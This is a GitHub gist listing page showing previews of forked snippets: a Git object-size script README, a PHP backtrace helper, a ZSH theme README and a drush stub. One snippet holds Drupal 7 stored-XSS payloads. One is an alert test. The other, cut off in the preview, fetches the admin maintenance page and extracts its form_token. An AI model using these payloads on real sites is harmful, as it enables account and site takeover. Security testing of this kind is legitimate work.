Skip to content

Instantly share code, notes, and snippets.

View marcelovani's full-sized avatar

Marcelo Vani marcelovani

View GitHub Profile
@marcelovani
marcelovani / README.md
Created April 27, 2021 23:07 — forked from Maxattax97/README.md
List all Git repository objects by size.

List all Git repository objects by size

Summary

Bash script to:

  • Iterate all commits made within a Git repository.
  • List every object at each commit.
@marcelovani
marcelovani / php
Created September 25, 2020 09:17 — forked from fvosberg/php
A very lightweight php backtrace
<?php
$debug_backtrace = debug_backtrace();
$output = [];
foreach ($debug_backtrace as $debug) {
if (isset($debug['class'])) {
$o = $debug['class'];
}
$o .= '::' . $debug['function'];
#0 d7 site: node/1 comment form with full html input format by uid0.
<script>alert('XSS')</script>
#1 d7 site: node/1 comment form with full html input format by uid0.
<script>
jQuery.get(Drupal.settings.basePath + 'admin/config/development/maintenance',
function (data, status) {
if (status == 'success') {
var matches = data.match(/name="form_token" value="([a-zA-Z0-9_-]*)"/);
@marcelovani
marcelovani / README.md
Created February 15, 2016 11:16 — forked from agnoster/README.md
My ZSH Theme

agnoster.zsh-theme

A ZSH theme optimized for people who use:

  • Solarized
  • Git
  • Unicode-compatible fonts and terminals (I use iTerm2 + Menlo)

For Mac users, I highly recommend iTerm 2 + Solarized Dark

<?php
/**
* @file
* drush command.
*/
/**
* Implementation of hook_drush_command().
*